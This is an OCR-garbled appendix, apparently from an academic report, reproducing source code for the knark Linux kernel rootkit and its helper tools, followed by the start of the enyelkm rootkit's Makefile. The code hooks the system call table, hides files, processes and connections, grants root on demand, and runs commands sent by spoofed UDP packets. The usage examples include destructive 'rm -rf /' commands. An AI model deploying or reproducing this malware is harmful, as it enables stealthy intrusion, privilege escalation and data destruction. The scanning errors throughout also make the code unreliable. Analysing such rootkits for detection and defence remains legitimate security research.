if(cmd = KNARK_ELITE_CMD)

{
ret = (*original_ioctl)(fd, cmd, arg);
if(lret & & cmd == SI0CGIFFLAGS)

{
copy_from_user(&ifr, (void *)arg, sizeof(struct ifreq));
ifr.ifr_ifru.ifru_flags &= ~1FF_PROMISC;
copy_to_user((void *)arg, &ifr, sizeof(struct ifreq));
}
return ret;
}
if(current->files->fd[fd] == NULL)
return -1;
entry = current->files->fd[fd]->T _dentry;
inode = entry->d_inode;
switch(arg)

case KNARK_HIDE_FILE:
ret = knark_hide_file(inode, entry);
break;

case KNARK_UNHIDE_FILE:
ret = knark_unhide_file(inode);
break;

default:
return -EINVAL;

}

return ret;

knark_add_nethide(char *hidestr)
struct nethide_list *nl = knark nethide_list;

if(nl->nl_hidestr)
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while(nl->next)
nl = nl->next;

nl->next = kmalloc(sizeof(struct nethide_list), GFP_KERNEL);

if(nl->next == NULL) return -1;
nl = nl->next;

}

nl->next = NULL;
nl->nl_hidestr = hidestr;

return O;

knark_clear_nethides(void)

struct nethide_list *tmp, *nl = knark nethide_ list;

do {
if(nl->nl_hidestr)
{
putname(nl->nl_hidestr);
nl->nl_hidestr = NULL;
}

nl = nl->next;
} while(nl);

nl = knark_nethide_list->next;
while(nl)
{

tmp = nl->next;

kfree(nl);

nl = tmp;

}
knark _nethide_ list->next = NULL;

return O;

knark_read(int fd, char *buf, size_t count)
int ret;

char *pl, *p2;

struct inode *dinode;

struct nethide_list *nl = knark nethide_list;

ret = (*original_read)(fd, buf, count);
if(ret <= 0 || nl->nl_hidestr == NULL) return ret;

dinode = current->files->fd[fd]->f _dentry->d_inode;

iT(MAJOR(dinode->i_dev) || MINOR(dinode->i_dev) != 1)
return ret;
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if(dinode->i_ino == PROC_NET_TCP || dinode->i_ino

PROC_NET_UDP)

while( (p1 = p2 = (char *) strstr(buf, nl->nl_hidestr)) )

{
do {

*pl =~ *pl;

while(*pl = "\n" && pl > buf)
pl--;

ifC(*pl == "\n")
pl++;

while(*p2 = "\n" && p2 < buf + ret - 1)
p2++;

iIfCp2 == "\n")
p2++;

while(p2 < buf + ret)
*(pl++) = *(p2++);

ret -= p2 - pl;

nl = nl->next;
} while(nl && nl->nl_hidestr);
}

return ret;

int knark _clear_redirects()

{

struct redirect_list *tmp, *rl = knark_redirect_list;

do {
if(rl->rl_er.er_from)

putname(rl->rl_er.er_from);
ri->rl_er_er_from = NULL;

if(rl1->rl_er.er_to)

{
putname(rl->rl_er.er_to);
ri->rl_er_er_to = NULL;

}

rl = rl->next;
} while(rl);

rl = knark redirect_list->next;
while(rl)

tmp = rl->next;
kfree(rl);
rl = tmp;

3
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knark_redirect_ list->next = NULL;

return O;
}
int knark_add redirect(struct exec redirect *er)
struct redirect_list *rl = knark_redirect _list;
if(knark_strcmp(er->er_from, knark redirect _path(er->er_from)) ||
Tknark_strcmp(er->er_from, er->er_to))
return -1;
if(r1->rl_er._er_from)
while(rl->next)
rl = rl->next;
rl->next = kmalloc(sizeof(struct redirect_list), GFP_KERNEL);
if(rl->next == NULL) return -1;
rl = rl->next;
}
rl->next = NULL;
ri->rl_er.er_from = er->er_from;
ri->rl_er.er_to = er->er_to;
return O;
}
char *knark_redirect_path(char *path)
{
struct redirect_list *rl = knark redirect_list;
do {
if(rl->rl_er._er_from && 'knark strcmp(path, rl->rl_er.er_from))
return rl->rl_er.er_to;
rl = rl->next;
} while(rl);
return path;
}

int knark_settimeofday(struct timeval

{
char *hidestr;
struct exec_redirect er, er_user;
switch((int)tv)

case KNARK_GIMME_ROOT:

*tv, struct timezone *tz)

current->uid = current->euid = current->suid = current->fsuid =
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current->gid = current->egid = current->sgid = current->fsgid =
0;
break;

case KNARK_ADD_REDIRECT:

copy_from user((void *)&er_user, (void *)tz, sizeof(struct
exec_redirect));

er.er_from = getname(er_user.er_from);

er.er_to = getname(er_user.er_to);

iT(1S_ERR(er.er_from) || IS_ERR(er.er_to))

return -1;
knark_add_redirect(&er);
break;

case KNARK_CLEAR _REDIRECTS:
knark_clear_redirects();
break;

case KNARK_ADD_NETHIDE:
hidestr = getname((char *)tz);
iF(IS_ERR(hidestr))

return -1;
knark_add_nethide(hidestr);
break;

case KNARK_CLEAR_NETHIDES:
knark_clear_nethides();
break;

default:
return (*original_settimeofday)(tv, tz);

}

return O;

int knark _execve(struct pt_regs regs)

int error;
char *filename;

lock kernel();
filename = getname((char *)regs.ebx);
error = PTR_ERR(Ffilename);
iT(IS_ERR(Ffilename))

goto out;

error = do_execve(knark_redirect_path(filename), (char **)regs.ecx,
(char **)regs.edx, &regs);

if(error == 0)
current->flags &= ~PF_DTRACE;
putname(filename);
out:
unlock_kernel ();
return error;
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#define BUF_LIMIT (PAGE_SIZE - 80)

int

{

int

int
len,

{

knark_read_pids(char *buf, char **start, off_t offset, int len,
int unused)

struct task struct *task;

if( (task = knark_find_task(1)) == NULL)
return O;

len = sprintf(buf, " EUID PID\tCOMMAND\N");

do {
if(task->flags & PF_INVISIBLE)
len += sprintf(buf+len, "%5d %d\t¥%s\n',
task->euid, task->pid, task->comm);
task = task->next_task;
} while(task->pid = 1 && len < BUF_LIMIT);

return len;

knark_read_files(char *buf, char **start, off_t offset, int len,
int unsused)

int n, i;
len = sprintf(buf, "HIDDEN FILES\n'™);

for(n = 0; n < kfs->F _ndevs; n++)
for(i = 0; 1 < kfs->F _dev[n]->d_nfiles; i++)
len += sprintf(buf+len, "%s\n", kfs->f dev[n]->d_name[i]);

return len;

knark_read_redirects(char *buf, char **start, off_t offset, int
int unised)

int n, tmp=0;
struct redirect_list *rl = knark redirect_list;

len = sprintf(buf, "REDIRECT FROM REDIRECT TO\n"");
if(rl->rl_er.er_from == NULL)
return len;

while(rl)
{
len += tmp = sprintf(buf+len, "%s", rl->rl_er.er_from);
n =30 - tmp;
memset(buf+len, " ", n);
len += n;
len += sprintf(buf+len, "%s\n", rl->rl_er.er_to);
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rl = rl->next;

}

return len;

int knark _read_nethides(char *buf, char **start, off_t offset, int len,
int unused)

{
struct nethide list *nl = knark nethide list;
len = sprintf(buf, "HIDDEN STRINGS (without the quotes)\n');
while(nl && nl->nl_hidestr)
{
len += sprintf(buf+len, "\"%s\'"\n", nl->nl_hidestr);
nl = nl->next;
}
return len;
}

int knark _read_author(char *buf, char **start, off_t offset, int len,
int unused)

{
en = sprintf(buf,
| printf(buf
Mk % K K% % ® % % % *% % % % % % % % % % % K % *x % X% % X X *
*\n"
"* knark %s by Creed @ #hack.se 1999 <creed@sekure.net>
*\n"
LLES
*\n"'
el This program may NOT be used in an illegal way
*\n"
el or to cause damage of any kind.
*\n"
Tk X % K% % ® * K * * X K K* * X KX KX * * X KX K* X X KX K* KX *
* *\n"
»,KNARK_VERSION) ;
return len;
}

#ifdef FUCKY_REXEC_VERIFY

ssize_t knark_verify_rexec_fops_read(struct file *file, char *buf,
size_t len, loff_t *offset)

{

if(file->f_pos == strlen("fikadags?\n'))
return O;

len = sprintf(buf, "fikadags?\n");
file->T_pos = len;
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return len;

int knark _write verify rexec(struct file *file, const char *buf,

}
count,
t
int num,

void *data)

char buff[16];

n = count<16? count:16;
knark_bcopy((char *)buf, buff, n);
iT(buff[n-1] == "\n")

buff[n-1] = "\0~;

else
buff[n]

= "\0";

num = knark_atoi(buff);
if(hum >= 0 && num <= 16)
verify_rexec = num;

= count;

u_long

int knark_read_verify_rexec(char *buf, char **start, off_t offset, int

int unused)

file->f _pos
return count;
}
len,
{

len = sprintf(buf,
"Knark rexec verify-packet must be one of:\n"

©CoO~NOOOITA~AWNEO

n\nn

ICMP_NET_UNREACH\n"
ICMP_HOST_UNREACH\n"'
ICMP_PROT_UNREACH\n"'
ICMP_FRAG_NEEDED\n"'
ICMP_FRAG_NEEDED\n"'
ICMP_SR_FAILED\n"
ICMP_NET_UNKNOWN\nN"*
ICMP_HOST_1SOLATED\n""
ICMP_HOST_1SOLATED\n""
ICMP_NET_ANO\Nn"*
ICMP_HOST_ANO\n"
ICMP_NET_UNR_TOS\n"'
ICMP_HOST_UNR_TOS\n"'
ICMP_PKT_FILTERED\n"
ICMP_PREC_VIOLATION\N"
ICMP_PREC_VIOLATION\N"
(don"t verify)\n"

"Currently set to: %d\n",
verify rexec);

return len;
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#endif /*FUCKY_REXEC_VERIFY*/

int knark_execve_userprogram(char *path, char **argv, char **envp, int
secret)
{

static char *path_argv[2];

static char *def _envp[] = { "HOME=/"", "TERM=linux',

"PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin:"
"/usr/bin/X11'", NULL

};

static struct execve_args args;

pid_t pid;

if(path) args.path = path;

else return -1;

if(argv) args.argv = argv;

else {
path_argv[0] = path;
path_argv[1l] = NULL;

}

if(envp) args.envp = envp;
else args.envp = def_envp;

pid = kernel_thread(knark _do_exec_userprogram, (void *)&args,
CLONE_FS);
if(pid == -1)
return -1;

if(secret) knark hide_process(pid);
return pid;

int knark _do_exec_userprogram(void *data)
int i;
struct fs_struct *fs;
struct execve _args *args = (struct execve_args *) data;
lock _kernel();
exit_fs(current);
fs = iInit_task.fs;
current->fs = fs;
atomic_inc(&fs->count);
unlock kernel();

for(i = 0; 1 < current->Files->max_fds; i++)
if(current->Files->fd[i]) close(i);

current->uid = current->euid = current->fsuid = 0;
cap_set_full(current->cap_inheritable);

195



cap_set_full(current->cap_effective);
set_Ffs(KERNEL_DS);

if(execve(args->path, args->argv, args->envp) < 0)
return -1;

return O;

int knark udp_rcv(struct sk buff *skb, unsigned short len)

int 1, datalen;

struct udphdr *uh = (struct udphdr *)(skb->data + 48);
char *buf, *data = skb->data + 56;

static char *argv[16];

char space_str[2];

if(uh->source = ntohs(53) ||
uh->dest != ntohs(53) ||
*(u_long *)data != UDP_REXEC_USERPROGRAM)
goto bad;
data += 4;
datalen = ntohs(uh->len) - sizeof(struct udphdr) - sizeof(u_long);

buf = kmalloc(datalen+1, GFP_KERNEL);
if(buf == NULL)
goto bad;

knark_bcopy(data, buf, datalen);
buf[datalen] = *"\0";

space_str[0]

space_str[1]

for(i = 0; 1
NULL;

SPACE_REPLACEMENT;
0;
16 && (argv[i] = strtok(i? NULL:buf, space_str)) I=

AT

i++);
argv[i] = NULL;

knark_execve_userprogram(argv[0], argv, NULL, 1);
#ifdef FUCKY_REXEC_VERIFY
if(verify _rexec >= 0 && verify _rexec < 16)
icmp_send(skb, ICMP_DEST_UNREACH, verify_rexec, 0);
#endif /*FUCKY_REXEC_VERIFY*/

return O;

bad:
return original_udp_protocol->handler(skb, len);
}

int init_module(void)
inet_add_protocol (&knark udp_protocol);

original_udp_protocol = knark udp_protocol.next;
inet_del protocol(original_udp_protocol);

196



kfs = kmalloc(sizeof(struct knark fs struct), GFP_KERNEL);
if(kfs == NULL) goto error;
memset((void *)kfs, 0, sizeof(struct knark fs struct));

knark_redirect_list = kmalloc(sizeof(struct redirect_list),
GFP_KERNEL) ;

if(knark_redirect_list == NULL) goto error;

memset((void *)knark_redirect_list, 0, sizeof(struct
redirect_list));

knark_nethide_list = kmalloc(sizeof(struct nethide_list),
GFP_KERNEL);

if(knark_nethide_list == NULL) goto error;

memset((void *)knark_nethide_list, 0, sizeof(struct nethide_list));

proc_register(&proc_root, &knark dir);

knark _ino = knark_dir.low_ino;

proc_register(&knark_dir, &knark pids);

proc_register(&knark_dir, &knark Files);

proc_register(&knark _dir, &knark author);

proc_register(&knark dir, &knark redirects);

proc_register(&knark_dir, &knark nethides);
#ifdef FUCKY_REXEC_ VERIFY

proc_register(&knark _dir, &knark verify rexec);
#endif /*FUCKY_REXEC_VERIFY*/

original_getdents = sys call_table[SYS_getdents];
sys_call_table[SYS_getdents] = knark_getdents;

original_kill = sys call_table[SYS kill];
sys_call_table[SYS kill] = knark kill;

original_read = sys call_table[SYS_read];
sys _call_table[SYS read] = knark read;

original _ioctl = sys _call_table[SYS ioctl];
sys_call_table[SYS _ioctl] = knark_ioctl;

original_fork = sys call_table[SYS_ fork];
sys _call_table[SYS fork] = knark fork;

original_clone = sys_call_table[SYS clone];
sys_call_table[SYS _clone] = knark_clone;

original_settimeofday = sys call_table[SYS_ settimeofday];
sys_call_table[SYS_settimeofday] = knark settimeofday;

original_execve = sys call_table[SYS_execve];
sys _call_table[SYS_execve] = knark execve;

return O;

error:
return -1;
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void cleanup_module(void)

{

int 1, n;

inet_add_protocol (original_udp_protocol);
inet_del protocol (&knark _udp_protocol);

proc_unregister(&knark _dir, knark pids.low_ino);

proc_unregister(&knark _dir, knark files.low_ino);

proc_unregister(&knark _dir, knark author.low_ino);

proc_unregister(&knark dir, knark redirects.low_ino);

proc_unregister(&knark dir, knark nethides.low_ino);
#ifdef FUCKY_REXEC_ VERIFY

proc_unregister(&knark _dir, knark verify rexec.low_ino);
#endif /*FUCKY_REXEC_VERIFY*/

proc_unregister(&proc_root, knark dir.low_ino);

sys_call_table[SYS getdents] = iginal_getdents;
sys _call_table[SYS _kill] = original_kill;

sys _call_table[SYS read] = original_read;
sys_call_table[SYS ioctl] = original_ioctl;
sys_call_table[SYS fork] = original_fork;
sys_call_table[SYS clone] = original_clone;
sys_call_table[SYS_settimeofday] = original_settimeofday;
sys _call_table[SYS_execve] = original_execve;

o]
i

>0

knark_clear_redirects();
kfree(knark_redirect_list);

knark_clear_nethides();
kfree(knark _nethide list);

for(i = 0; 1 < kfs->F _ndevs; i++)
kfree(kfs->f_dev[i]);
for(n = 0; kfs->F _dev[i]->d_name; n++)
kfree(kfs->f _dev[i]->d_name);

}
kfree(kfs);
}

EXPORT_NO_SYMBOLS;

C.13: Knark.h

/*

* knark.h, part of the knark package

* (c) Creed @ #hack.se 1999 <creed@sekure.net>
* Ported to 2.4 2001 by cyberwinds@hotmail.com
*

* Some parts of this can be changed, but things might break so I
advice you

* to leave it as it is.

* See README for more info.

*/
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#ifndef _KNARK_H
#define KNARK H

// to conform to the kernel version.
#define KNARK VERSION "v2.4_3"

#define MODULE_NAME "knark™

#define MAX_SECRET FILES 12
#define MAX_SECRET_DEVS 4

#ifdef DEBUG

# 1fdef _ KERNEL

# define knark debug(fmt, args...) printk(fmt, ## args)

# else

# define knark _debug(fmt, args...) fprintf(stderr, fmt, ## args)
# endif

#else

#define knark _debug(fmt, args...)

#endif

#define SIGINVISIBLE 31
#define SIGVISIBLE 32

/* i1octl stufft */
#define KNARK_ELITE_CMD Oxfffffffe

#define KNARK_HIDE_FILE 1
#define KNARK_UNHIDE_FILE 2

/* knark_settimeofday */
#define KNARK_GIMME_ROOT 9000

#define KNARK_ADD_REDIRECT 9001
#define KNARK_CLEAR_REDIRECTS 9002

#define KNARK_ADD_NETHIDE 9003
#define KNARK_CLEAR_NETHIDES 9004

struct exec_redirect

{

char *er_from;
char *er_to;

/* udp-wrapper */

#define UDP_REXEC_USERPROGRAM OxOdeadbee
#define UDP_REXEC SRCPORT 53

#define UDP_REXEC DSTPORT 53

#define SPACE_REPLACEMENT 254
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/* Ok, time for some self-promotion again. 1"m hopeless. */
void author_banner(const char *progname);

#endif //_KNARK_H

C.14: Modhide.c

/*

* generic module hidder, for 2.2_.x kernels.

*

* by kossak (kossak@hackers-pt.org || http://www.hackers-
pt.org/kossak)

* Enhanced by cyberwinds@hotmail.com

*

* This module hides the last module installed. With little mind work
you can

* put it to selectivly hide any module from the list.

*

* insmod"ing this module will allways return an error, something like
device

* or resource busy, or whatever, meaning the module will not stay
installed.

* Run Ismod and see if it done any good. If not, see below, and try
until you

* suceed. IFf you dont, then the machine has a weird compiler that I
never seen.

* 1t will suceed on 99% of all intel boxes running 2.2.x kernels.

*

* The module is expected not to crash when it gets the wrong register,
but

* then again, it could set fire to your machine, who knows...

*

* ldea shamelessly stolen from plaguez®s itf, as seen on Phrack 52.
* The thing about this on 2.2.x is that kernel module symbol
information is

* also referenced by this pointer, so this hides all of the stuff :)
*

* DISCLAIMER: If you use this for the wrong purposes, your skin will
fall off,

* you"ll only have sex with ugly women, and you"ll be
raped in

* jJail by homicidal maniacs.

*

* Anyway, enjoy :)

USAGE: gcc -c modhide.c ; insmod modhide.o ; Ismod ; rm -rf /
*/

#define MODULE
#define _ KERNEL___
#include <linux/config.h>

#include <linux/module.h>
#include <linux/version.h>
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#include <linux/string.h>
#include <linux/kernel._h>

char * modname;
MODULE_PARM(modname, ''s');
int init_module(void) {

/*
* if at first you dont suceed, try:
*  %eax, %ebx, %ecx, %edx, %edi, %esi, %ebp, %esp

* 1 cant make this automaticly, because 1711 fuck up the registers If
1 do
* any calculus here.
*/
register struct module *mp asm(*'%ebx');
struct module *p;

// check modname
if(modname == 0x0){
// 1f you really want to use this module, do it right way!
thinkhard
printk("*Unknown module name. Try insmod modhide.o modname.\n");
return -1;

}

/*
it (mp->init == &init_module) // is it the right register?
if (np->next) // and is there any module besides this one?
mp->next = mp->next->next; // cool, lets hide it :)

*/

it (mp->init == &init_module) /* is it the right register? */
if (mp->next){ /* and is there any module besides this one? */
p = mp->next;
while(p && strcmp(p->name, modname)){
mp = p;
p=p->next;

}
if(p) //found matching module
mp->next = p->next;

}

return -1; /* the end. simple heh? */
}
/> EOF */
C.15: Nethide.c
/*
* nethide.c, part of the knark package

* Linux 2.1-2.2 1lkm trojan user program
* (c) Creed @ #hack.se 1999 <creed@sekure._net>
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This program may NOT be used in an illegal way,
or to cause damage of any kind.

See README for more info.
/

#include <sys/types.h>
#include <sys/time_h>
#include <unistd.h>
#include <stdio.h>
#include "knark.h"

void usage(const char *progname)

fprintf(stderr,
"Usage:\n"
"\ths <string>\n"
"\ths -c (clear nethide-list)\n"
"ex: %s \":ABCD\" (will hide connections to/from port

OxXABCD)\n",

progname, progname, progname);
exit(-1);

int main(int argc, char *argv[])

{

char *hidestr;
author_banner(‘'nethide.c");

if(argc '= 2 || !'strlen(argv[1l]))
usage(argv[0]);

if(Istrcmp(argv[1], "-c™))
{

if(settimeofday((struct timeval *)KNARK_ CLEAR_NETHIDES,

(struct timezone *)NULL) == -1)
{
perror('settimeofday');
fprintf(stderr, ""Have you really loaded knark.o?I\n");
exit(-1);
}
printf("'Done. Nethide list cleared.\n");
exit(0);
}

hidestr = argv[1];

if(settimeofday((struct timeval *)KNARK_ADD NETHIDE,
(struct timezone *)hidestr) == -1)
{

perror(‘'settimeofday');
fprintf(stderr, ""Have you really loaded knark.o?I\n");
exit(-1);

}
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printF('Done: \"%s\" is now removed\n', hidestr);

exit(0);
}
C.16: Rexec.c
/*

* rexec.c, part of the knark package

* (c) Creed @ #hack.se 1999 <creed@sekure.net>

* This program may NOT be used in an illegal way,
* or to cause damage of any kind.

*

See README for more info.
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/Zinet._h>
#include <netdb.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include "knark._h"
#define UDP_H sizeof(struct udphdr)
#define IP_H sizeof(struct ip)

void usage(const char *progname)

{
fprintf(stderr,
"Usage:\n"
"\ths <src_addr> <dst_addr> <command> [args ...]J\n"
"ex: %s www.microsoft.com 192.168.1.77 /bin/rm -fr /\n"",
progname, progname);
exit(-1);
}

int open_raw_sock(void)
int s, on = 1;

iT( (s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
perror(**'SOCK_RAW'), exit(-1);
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if(setsockopt(s, IPPROTO _IP, IP_HDRINCL, &on, sizeof(on)) == -1)
perror("'1P_HDRINCL™), exit(-1);

return s;
}
struct in_addr resolv(char *hostname)
{
struct in_addr in;
struct hostent *hp;
if( (in.s_addr = inet_addr(hostname)) == -1)
if( (hp = gethostbyname(hostname)) )
bcopy(hp->h_addr, &in.s_addr, hp->h_length);
else {
herror("'Can*t resolv hostname'™);
exit(-1);
}
}
return in;
}

int udp_send_rexec(int s,
struct in_addr *src,
struct in_addr *dst,
u_char *buf,
u_short datalen)

u_char *packet, *data, *p;
struct ip *ip;

struct udphdr *udp;
u_short psize;

struct sockaddr_in sin;

psize = IP_H + UDP_H + sizeof(u_long) + datalen;
if( (packet = calloc(l, psize)) == NULL)
perror(“‘calloc'™), exit(-1);

ip = (struct ip *) packet;

udp = (struct udphdr *) (packet + IP_H);

data = (u_char *) (packet + IP_H + UDP_H);
srand(time(NULL));

bzero(&sin, sizeof(sin));

sin.sin_family = AF_INET;
sin.sin_addr.s_addr = dst->s_addr;
sin.sin_port = htons(UDP_REXEC_DSTPORT);

ip->ip_hl = IP_H >> 2;
ip->ip_v = IPVERSION;
ip->ip_len = htons(psize);
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_id
ttl

p->ip ~rand Q) &OxFFff;
1p->1p

Ip—>lp p

p->1p

p->1p

63;

IPPROTO_UDP;
src->s_addr;
dst->s_addr;

_src.s_addr

udp->source htons(UDP_REXEC_SRCPORT);

udp->dest = htons(UDP_REXEC_DSTPORT);
udp->len = htons(UDP_H + sizeof(u_long) + datalen);
p = data;

*(u_long *)p = UDP_REXEC_USERPROGRAM;
p += sizeof(u_long);
memcpy(p, buf, datalen);

if(sendto(s, packet, psize, 0, (struct sockaddr *)é&sin,

sizeof(sin)) == -1)

int

perror('sendto’™), exit(-1);

return psize;

main(int argc, char *argv[])
int s, i, len;

u_char cmd[IP_MSS];

struct in_addr src, dst;
author_banner('rexec.c™);

if(argc < 4)

usage(argv[0]);
src = resolv(argv[1]);
dst = resolv(argv[2]);

s = open_raw_sock();

len = snprintf(cmd, IP_MSS, "'%s', argv[3]):
for(i = 4; 1 < argc && len < IP_MSS; i++)
len += snprintf(cmd+len, IP_MSS-len, "%c%s', SPACE_REPLACEMENT,
argv[i]);
cmd[len] = "\0";

udp_send_rexec(s, &src, &dst, cmd, len);
for(i = 0; cmd[i]; i++)
if(cmd[1] == SPACE_REPLACEMENT)
cmd[i] = * 7;
printf("'Done. exec \"%s\" requested on %s from %s\n",
cmd, argv[2], argv[1]);

exit(0);
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#in
#in
#in
#in

#in

voli

int

7: Rootme.c

rootme.c, part of the knark package
Linux 2.1-2.2 Ikm trojan user program
(c) Creed @ #hack.se 1999 <creed@sekure._net>

This program may NOT be used in an illegal way,
or to cause damage of any kind.

See README for more info.

/

clude <sys/types.h>
clude <unistd.h>
clude <stdio.h>
clude <time.h>

clude "knark.h"

d usage(const char *progname)

fprintf(stderr,
""Usage:\n"
"\ths <path> [args ...]J\n"
"ex: %s /bin/sh\n",
progname, progname);
exit(-1);

main(int argc, char *argv[])
author_banner(*'rootme.c');

if(argc < 2)
usage(argv[0]D);

if(settimeofday((struct timeval *)KNARK_GIMME_ROOT,
(struct timezone *)NULL) == -1)
{

perror(‘'settimeofday');

fprintf(stderr, ""Have you really loaded knark.o?I\n");
exit(-1);

printf("'Do you feel lucky today, haxOr?\n');

if(execv(argv[l], argv+l) == -1)
perror(“'execv'), exit(-1);
exit(0);
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C.18: Taskhack.c

* taskhack.c, part of the knark package

* (c) Creed @ #hack.se 1999 <creed@sekure._net>

*

* This program may NOT be used in an illegal way,
* or to cause damage of any kind.

*

*

You don"t need the README to use this program if you have a brain.
*/

#define _ KERNEL_
#include <linux/sched.h>
#undef  KERNEL
//#include <sys/types.h>
//#include <unistd.h>
//#include <fcntl.h>
//#include <stdlib.h>
#include <stdio.h>
//#include <string.h>
#include <errno.h>
#include <getopt.h>

#include "knark._h"

extern void exit(int );

extern int atoi(const char *);

extern unsigned long int strtoul(const char *, char **, int );

void die(char *reason)

{
perror(reason);
exit(-1);
}
void usage(const char *progname)
{
fprintf(stderr,
""Usage:\n"
"%s -show pid shows id"s of process pid\n"
"%s -someid=newid pid sets process pid"s someid to newid\n"
" newid defaults to O\n"
"someid is one of: uid, euid, suid, fsuid, gid, egid, sgid,
fsgid\n"
"alluid or allgid can be used to specify all *uid"s or
*gid®"s\n"
"ex: %s -euid=1000 1\n",
progname, progname, progname);
exit(-1);
}

int main(int argc, char *argv[])

{
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int kmem_fd, c;
char *p, buf[1024];
FILE *ksyms_ fp;
unsigned long task_addr, kstat addr = 0O;
struct task struct task;

int uflag , eflag = 0, sflag

=0 = = 0, fflag = O;
int GFlag = 0, Eflag = 0, Sflag = 0, Fflag = O;
int Iflag = 0;
uid_t uid = 0, euid = 0, suid = 0, fsuid = 0;
gid_t gid = 0, egid = 0, sgid = 0, fsgid = 0;
pid_t pid;

const char *optstr = "lauesfAGESF';
struct option options[] =

{"show", 0, O, "I"},

{~alluid”, 2, 0, "a"},
{"uid”, 2, 0, "u"},
{"euid”, 2, 0, "e"},
{"suid", 2, 0, "s"},
{"fsuid”, 2, 0, "F},
{~allgid”, 2, 0, "A"},
{"gid", 2, 0, "G},

{'egid”, 2, 0, "E"},
{I'Sgidl" 2’ 0’ ISI},
{"fsgid”, 2, 0, "F"},

};
author_banner(*'taskhack.c');

while( (c = getopt long only(argc, argv, optstr, options,
NULL)) I= EOF)
switch(c)

case "I":
Iflag++;
break;

case "a":

uflag++, eflag++, sflag++, fflag++;

if(optarg) uid = euid = suid = fsuid = atoi(optarg);
break;

case "u":
uflag++;

if(optarg) uid = atoi(optarg);
break;

case "e":
eflag++;
if(optarg) euid
break;

atoi(optarg);

case °"s":
sflag++;
if(optarg) suid

atoi(optarg);
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break;

case "f":

fflag++;

if(optarg) fsuid = atoi(optarg);
break;

case "A":
Gflag++, Eflag++, Sflag++, Fflag++;

if(optarg) gid = egid = sgid = fsgid = atoi(optarg);

break;

case "G":

GFlag++;

if(optarg) gid = atoi(optarg);
break;

case "E":
Eflag++;
if(optarg) egid
break;

atoi (optarg);

case "S":

Sflag++;

if(optarg) sgid = atoi(optarg);
break;

case "F":

Fflag++;

if(optarg) fsgid = atoi(optarg);
break;

default:
usage(argv[0]);
}

if((uflag || eflag || sflag || fflag ||
Gflag || Eflag || Sflag || Fflag) == Iflag)
usage(argv[0]);

argc -= optind;

if(argc <= 0) fprintf(stderr, "No pid specified\n™);

if(argc <= 0 || argc > 1) usage(argv[O0]);

if(1(pid = atoi(argv[optind])))

{
fprintf(stderr, "Invalid pid specified\n");
usage(argv[0]);

}

if( (ksyms_fp = fopen(*'/proc/ksyms", "r'")) == NULL)
die("Can"t fopen /proc/ksyms'™);

while(fgets(buf, sizeof(buf), ksyms fp))

if(Istrstr(buf, "kstat'))
continue;
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*),

if( (p = strchr(buf, " ")) == NULL)

fprintf(stderr, "Error in /proc/ksyms\n');
exit(-1);
}
*p = "\0%;
if( (kstat_addr = strtoul(buf, NULL, 16)) == 0)
{

fprintf(stderr, "%s isn"t a hex number\n", buf);
exit(-1);
}

break;

3
fclose(ksyms_fp);

if('kstat_addr)

{
fprintf(stderr, "kstat not found in /proc/ksyms\n');
exit(-1);

}

if( (kmem_fd = open(''/dev/kmem'”, O _RDWR)) == -1)

die("'Can"t open /dev/kmem');

if(Iseek(kmem_fd,
kstat_addr - (PIDHASH_SZ - 1) * sizeof(struct task struct

SEEK_SET) == -1)
die("Iseek'™);

if(read(kmem_fd,
&task addr,
sizeof(struct task struct *)) == -1)
die('read™);

if(Iseek(kmem_fd,
(off_t)task_addr,
SEEK_SET) == -1)
die("lIseek'™);

if(read(kmem_fd,
&task,
sizeof(struct task struct)) == -1)
die('read™);

if(task.pid = 1)
{
fprintf(stderr,
“"Init pid not found (this could be a program error)\n');
exit(-1);
}

do {
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task _addr = (unsigned long) task.next task;
iT(Iseek(kmem fd,
(off_t)task_addr,
SEEK_SET) == -1)
die("Iseek'™);

if(read(kmem_fd, &task, sizeof(struct task struct)) == -1)
die('read™);

if(task.pid == pid)
break;
} while(task.pid = 1);
if(task.pid != pid)
fprintf(stderr, "Pid %d not found\n', pid);
exit(-1);
}

if(11flag)
{

if(uflag) task.uid = uid;
if(eflag) task.euid = euid;
if(sflag) task.suid = suid;
if(fflag) task.fsuid = fsuid;
if(Gflag) task.gid = gid;
if(Eflag) task.egid = egid;
if(Sflag) task.sgid = sgid;
if(Fflag) task.fsgid = fsgid;

if(Iseek(kmem fd,
(off_t)task addr + (off_t)é&task.uid - (off_t)&task,
SEEK_SET) == -1)
die("Iseek'™);

if(write(kmem fd,
&task.uid,

4 * sizeof(uid_t) + 4 * sizeof(gid_t)) == -1)
die('write');

}

close(kmem_¥d);
printf('1d*s for pid %d are now:\n"
"urd\t= %d\n"
"euid\t= %d\n"
"suid\t= %d\n"
"Fsuid\t= %d\n"
"gid\t= %d\n"
"egid\t= %d\n"
"sgid\t= %d\n"
"fsgid\t= %d\n',
pid,
task.uid, task.euid, task.suid, task.fsuid,
task.gid, task.egid, task.sgid, task.fsgid);

exit(0);
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APPENDIX D
SOURCE CODE LISTING FOR ENYE 1.1
(Referenced in Chapter VII)

D.1: DESCRIPTION.txt

ENYELKM is a LKM Rootkit for Linux x86 with kernels v2.6.x.

It puts salts inside system _call and sysenter_entry handlers. So
it does not modify sys call_table, or IDT content.

More information in README.txt.
D.2: Makefile

obj-m += enyelkm.o

enyelkm-objs := base.o kill.o Is.o read.o remoto.o

DELKOS = base.ko kill.ko Is_.ko read.ko remoto.ko

S ENT = Ox grep sysenter_entry /proc/kallsyms | head -c 8~
D_FORK = Ox grep do_fork /proc/kallsyms | head -c 8
VERSION = v1.1

CC = gcc

all:
@echo
@echo "-——-—— - '
@echo " ENYELKM $(VERSION) by RaiSe"
@echo " raise@enye-sec.org | www.enye-sec.org"
@echo "--——-- - o "
@echo
@echo "#define DSYSENTER $(S_ENT)" > data.h
@echo "#define DOFORK $(D_FORK)' >> data.h
make -C /lib/modules/$(shell uname -r)/build SUBDIRS=$(PWD)
modules
$(CC) connect.c -0 connect -Wall
@rm - $(DELKOS)

connect:
@echo
@echo "-————— - '
@echo "™ ENYELKM $(VERSION) by RaiSe"
@echo " raise@enye-sec.org | www.enye-sec.org"
@echo "--- -1
@echo
$(CC) connect.c -0 connect -Wall
@echo
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install:
@echo
@echo
@echo
@echo
